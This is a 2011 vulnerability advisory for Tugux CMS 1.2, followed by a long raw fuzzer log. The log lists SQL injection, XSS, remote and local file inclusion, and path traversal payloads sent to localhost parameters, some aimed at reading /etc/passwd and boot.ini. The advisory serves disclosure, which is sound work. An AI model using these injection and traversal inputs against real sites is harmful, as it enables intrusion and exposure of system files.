Tugux CMS 1.2 Multiple Remote Vulnerabilities
2011-05-22 09:15:05Title:
Tugux CMS 1.2 Multiple Remote Vulnerabilities
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Vendor:
Tugux Studios
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Product web page:
http://www.tugux.com
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Affected version:
1.2
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Summary:
Tugux CMS is a free, open-source content Management system (CMS) and
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
application that powers the entire web.
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Description:
The application suffers from multiple issues including: reflected
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
and stored xss, sql Injection, local file inclusion, url redirection.
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Vulnerable parameters include: 'name', 'comment', 'nid', 'submit1',
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
'email', 'topic_id'.
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Tested on:
Microsoft Windows XP Professional SP3 (EN)
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Apache 2.2.14 (Win32)
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
PHP 5.3.1
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
MySQL 5.1.41
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Vulnerability discovered by:
Gjoko 'LiquidWorm' Krstic, Zero Science Lab
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
liquidworm * gmail * com
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Advisory details:
ID: ZSL-2011-5014
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5014.php
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Discovery date:
02.04.2011
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Raw analysis report:
http://www.zeroscience.mk/codes/tugux_raw_02042011.txt
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
by PowerFuzzer
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
(c) Joxy
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Findings summary
MySQL Injection (nid) in http://localhost/tugux/comments.php
Vulnerable URL: http://localhost/tugux/comments.php?nid=%BF%27%22%28
XSS (nid) in http://localhost/tugux/comments.php
Vulnerable URL: http://localhost/tugux/comments.php?nid=<script>var+pf_687474703a2f2f6c6f63616c686f73742f74756775782f636f6d6d656e74732e706870_6e6964=new+Boolean();</script>
Warning include (nid) in http://localhost/tugux/latest.php
Vulnerable URL: http://localhost/tugux/latest.php?nid=http%3A%2F%2Fwww.google.com%2F
MySQL Injection (nid) in http://localhost/tugux/latest.php
Vulnerable URL: http://localhost/tugux/latest.php?nid=%BF%27%22%28
XSS (nid) in http://localhost/tugux/latest.php
Vulnerable URL: http://localhost/tugux/latest.php?nid=<script>var+pf_687474703a2f2f6c6f63616c686f73742f74756775782f6c61746573742e706870_6e6964=new+Boolean();</script>
MySQL Injection in http://localhost/tugux/contact.php
with params =message=on&name=on&yes=yes&company=on&email=%BF%27%22%28&subject=on
coming fromhttp://localhost/tugux/contact.php
MySQL Injection in http://localhost/tugux/contact.php
with params =message=on&name=on&yes=%BF%27%22%28&company=on&email=on&subject=on
coming fromhttp://localhost/tugux/contact.php
MySQL Injection in http://localhost/tugux/contact.php
with params =message=on&name=%BF%27%22%28&yes=yes&company=on&email=on&subject=on
coming fromhttp://localhost/tugux/contact.php
MySQL Injection in http://localhost/tugux/contact.php
with params =message=on&name=on&yes=yes&company=%BF%27%22%28&email=on&subject=on
coming fromhttp://localhost/tugux/contact.php
MySQL Injection in http://localhost/tugux/contact.php
with params =message=%BF%27%22%28&name=on&yes=yes&company=on&email=on&subject=on
coming fromhttp://localhost/tugux/contact.php
MySQL Injection in http://localhost/tugux/contact.php
with params =message=on&name=on&yes=yes&company=on&email=on&subject=%BF%27%22%28
coming fromhttp://localhost/tugux/contact.php
XSS in http://localhost/tugux/contact.php
with params =message=on&name=on&yes=yes&company=on&email=%3Cscript%3Evar+pf_687474703a2f2f6c6f63616c686f73742f74756775782f636f6e746163742e706870_656d61696c%3Dnew+Boolean%28%29%3B%3C%2Fscript%3E&subject=on
coming fromhttp://localhost/tugux/contact.php
XSS in http://localhost/tugux/contact.php
with params =message=on&name=%3Cscript%3Evar+pf_687474703a2f2f6c6f63616c686f73742f74756775782f636f6e746163742e706870_6e616d65%3Dnew+Boolean%28%29%3B%3C%2Fscript%3E&yes=yes&company=on&email=on&subject=on
coming fromhttp://localhost/tugux/contact.php
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=http%3A%2F%2Fwww.google.com%2F&email=on&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=http%3A%2F%2Fwww.google.com%2F
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=http%3A%2F%2Fwww.google.com%2F&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=http%3A%2F%2Fwww.google.com%2F&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=http%3A%2F%2Fwww.google.com%2F&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=%2Fetc%2Fpasswd&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd%00
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd%00&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=c%3A%5C%5Cboot.ini&email=on&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=c%3A%5C%5Cboot.ini&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=c%3A%5C%5Cboot.ini%00&email=on&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini%00
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini%00&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini%00&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=c%3A%5C%5Cboot.ini%00&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&email=on&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&email=on&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
MySQL Injection in http://localhost/tugux/latest.php?nid=10
with params =comment=%BF%27%22%28&email=on&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
MySQL Injection in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%BF%27%22%28
coming fromhttp://localhost/tugux/comments.php?nid=10
MySQL Injection in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=%BF%27%22%28&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
MySQL Injection in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=on&name=on&submit1=%BF%27%22%28&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
MySQL Injection in http://localhost/tugux/latest.php?nid=10
with params =comment=on&email=%BF%27%22%28&name=on&submit1=Submit&topic_id=10
coming fromhttp://localhost/tugux/comments.php?nid=10
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=http%3A%2F%2Fwww.google.com%2F&email=on&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=http%3A%2F%2Fwww.google.com%2F
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=http%3A%2F%2Fwww.google.com%2F&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=http%3A%2F%2Fwww.google.com%2F&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=http%3A%2F%2Fwww.google.com%2F&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=%2Fetc%2Fpasswd&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd%00
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd%00&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=c%3A%5C%5Cboot.ini&email=on&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=c%3A%5C%5Cboot.ini&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=c%3A%5C%5Cboot.ini%00&email=on&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini%00
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini%00&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini%00&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=c%3A%5C%5Cboot.ini%00&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&email=on&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
Warning include in http://localhost/tugux/latest.php?nid=9
with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&name=on&submit1=Submit&topic_id=9
coming fromhttp://localhost/tugux/comments.php?nid=9
